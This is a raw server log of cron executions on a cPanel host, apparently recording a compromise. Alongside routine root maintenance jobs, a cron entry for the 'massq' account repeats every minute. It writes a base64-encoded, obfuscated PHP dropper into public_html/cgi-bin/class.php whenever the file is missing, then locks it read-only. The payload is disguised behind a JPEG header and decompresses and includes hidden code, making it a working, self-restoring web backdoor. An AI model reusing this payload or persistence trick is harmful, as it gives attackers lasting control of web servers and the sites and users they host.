Sep 10 19:45:01 server CROND[29434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:45:01 server CROND[29445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:46:01 server CROND[30270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:46:01 server CROND[30272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:46:01 server CROND[30271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:47:01 server CROND[30650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:47:01 server CROND[30651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:47:01 server CROND[30652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:48:01 server CROND[31041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:48:01 server CROND[31042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:48:01 server CROND[31043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:49:01 server CROND[31421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:49:01 server CROND[31423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:49:01 server CROND[31422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:50:01 server CROND[31928]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:50:01 server CROND[31929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:50:01 server CROND[31932]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:50:01 server CROND[31934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:50:01 server CROND[31938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:50:01 server CROND[31939]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 19:50:01 server CROND[31940]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:50:01 server CROND[31941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:50:01 server CROND[31933]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:51:02 server CROND[327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:51:02 server CROND[328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:51:02 server CROND[329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:52:01 server CROND[724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:52:01 server CROND[725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:52:01 server CROND[726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:53:01 server CROND[1178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:53:01 server CROND[1179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:53:01 server CROND[1177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:54:01 server CROND[1603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:54:01 server CROND[1604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:54:01 server CROND[1605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:55:01 server CROND[2126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:55:01 server CROND[2128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:55:01 server CROND[2129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:55:01 server CROND[2132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:55:01 server CROND[2130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:55:01 server CROND[2133]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 19:55:01 server CROND[2134]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 19:56:01 server CROND[3022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:56:01 server CROND[3023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:56:01 server CROND[3024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:57:01 server CROND[3411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 19:57:01 server CROND[3413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:57:01 server CROND[3414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:57:01 server CROND[3412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:58:01 server CROND[3800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:58:01 server CROND[3801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
